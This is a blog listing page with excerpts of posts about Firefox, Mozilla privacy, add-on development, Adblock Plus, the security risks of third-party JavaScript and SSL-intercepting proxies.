Mozilla’s rollout of Yahoo! as default search engine (a.k.a. What’s up with Firefox 34.0.5?)

Two months ago Mozilla announced the big news: the default search engine in United States will be Yahoo! rather than Google. The change should be introduced in Firefox 34 but rolled out gradually after the release. That announcement already made me scratch my head and wonder how that rollout would actually work — not enough to go figure out the details however.

Recently however I saw this blog post claiming that the Yahoo! market share on Firefox 34 in the US increased by factor 3 compared to the previous Firefox release — already on December 2, a day after the release. Quite impressive, but how is that even possible if the rollout was supposed to be gradual?

Can Mozilla be trusted with privacy?

A year ago I would have certainly answered the question in the title with “yes.” After all, who else if not Mozilla? Mozilla has been living the privacy principles which we took for the Adblock Plus project and called our own. “Limited data” is particularly something that is very hard to implement and defend against the argument of making informed decisions.

But maybe I’ve simply been a Mozilla contributor way too long and don’t see the obvious signs any more. My colleague Felix Dahlke brought my attention to the fact that Mozilla is using Google Analytics and Optimizely (trusted third parties?) on most of their web properties. I cannot really find a good argument why Mozilla couldn’t process this data in-house, insufficient resources certainly isn’t it.

A systematic approach to MDN documentation?

Note: This blog post started as a rant about MDN which is sadly not very useful for add-on authors way too often. I tried to reformulate it in a neutral way. The point definitely isn’t blaming the people working hard on keeping that documentation up to date.

MDN has some great content. However, as far as extension development goes, maybe somewhat less content and more structure/quality would be beneficial. Yes, there are a few well-written overview articles. But quite frankly, I’ve seen them for the first time today — because most of the time I’ll get to MDN via a search engine. And if you take this route, there is a good chance to hit an article that pre-dates Firefox 4.0.

Dumbing down HTML content for AMO

If you are publishing extensions on AMO then you might have the same problem: how do I keep content synchronous between my website and extension descriptions on AMO? It could have been simple: take the HTML code from your website, copy it into the extension description and save. Unfortunately, usually this won’t produce useful results. The biggest issue: AMO doesn’t understand HTML paragraphs and will strip them out (along with most other tags). Instead it will turn each line break in your HTML code into a hard line break.

Luckily, a fairly simple script can do the conversion and make sure your text still looks somewhat okayish. Here is what I’ve come up with for myself:

“Unloading” frame scripts in restartless extensions

The big news is: e10s is coming to desktop Firefox after all, and it was even enabled in the nightly builds already. And while most of the times the add-ons continue working without any changes, this doesn’t always work correctly. Plus, using the compatibility shims faking a single-process environment might not be the most efficient approach. So reason enough for add-on authors to look into the dreaded and underdocumented message manager and start working with frame scripts again.

I tried porting a simple add-on to this API. The good news: the API hasn’t changed since Firefox 17, so the changes will be backwards-compatible. And the bad news? Well, there are several.

Using a Firefox extension to work around Selenium WebDriver’s limitations

My Google search link fix extension had a bunch of regressions lately and I realized that testing its impact on the search pages manually isn’t working — these pages are more complicated than it looks like, and there are lots of configuration options affecting them. So I decided looking into Selenium WebDriver in order to write integration tests that would automate Firefox. All in all, writing the tests is fairly simple once you get used to the rather arcane API. However, the functionality seems to be geared towards very old browsers (think IE6) and some features are nowhere to be found.

One issue: there is no way to focus an element without clicking it. Clicking isn’t always an option, since it might trigger a link for example. That issue turned out to be solved fairly easily:

Which is better, Adblock or Adblock Plus?

Note: This is explicitly posted in my private blog rather than the Adblock Plus blog. This post represents my own opinion only. It is likely unwise to rant about a competing project but I just don’t want to keep my findings to myself. If you are here for Adblock Plus bashing and don’t care enough to read the post, please make sure to read the edit at the bottom nevertheless.

On Chrome, two popular ad blockers are currently available: AdBlock and Adblock Plus. Despite the confusingly similar names, they are completely unrelated projects. I am in charge of the latter, yet people will occasionally ask me whether I would recommend AdBlock or Adblock Plus to them. There is certainly lots of room for improvement in Adblock Plus for Chrome, so my answer typically goes along the lines of: “These projects have different approaches but the resulting products are roughly comparable.” Recently, I looked over to the AdBlock for Chrome project and was shocked to discover that things changed, a lot actually. So next time somebody asks me about AdBlock and the difference to Adblock Plus, I can point them to this blog post.

Please don’t use externally hosted JavaScript libraries

A few days ago I outlined that the Reuters website relies on 40 external parties with its security. What particularly struck me was the use of external code hosting services, e.g. loading the jQuery library directly from the jQuery website and GSAP library from cdnjs. It seems that in this particular case Reuters isn’t the one to blame — they don’t seem to include these scripts directly, it’s rather some of the other scripts they are using that are doing this.

Why would one use externally hosted libraries as opposed to just uploading them to your own server? I can imagine three possible reasons:

Third-party JavaScript – more critical than ever

The Syrian Electronic Army made the news several times lately by hacking popular news websites and making them display their propaganda messages. As with many similar hacks lately, the remarkable part was that the website wasn’t compromised directly. Instead a third-party service provider was hacked that the website used: Codero was used to compromise RSA Conference website, and Taboola to compromise Reuters website.

Why was it possible for Codero and Taboola widgets to completely take over the websites using them? That’s because these widgets were added to the webpage as third-party scripts which means that they got the same level of access to the webpage as its own scripts. They could alter text, spy on the user, steal login credentials, trick the user into installing malware and more. Of course, normally they wouldn’t do anything like this (ok, maybe spying) but the websites using these widgets made a bet on these scripts always behaving themselves — and lost.

Proxies breaking up SSL connections? Yes, all the time…

Some months ago I was wondering why some Firefox installations appear to not support strong encryption. After analyzing the SSL handshakes on one of the filter download servers used by Adblock Plus, I am now mostly confident that the reason is proxy servers essentially conducting Man-in-the-Middle (MitM) attacks. Normally, a proxy server can only forward SSL data to its destination, it can neither modify nor read the data due to encryption. MitM proxies however pose as the destination server which allows them to manipulate the data in any way they like. For that they have to encrypt the communication with a certificate that is valid for the destination server, usually this happens by installing a new root certificate on the client’s computer.

I used ssldump to record 3294 SSL handshakes. Not a terribly large sample, yet it already contained lots of entries where the client’s SSL support didn’t match the user agent from the web server logs: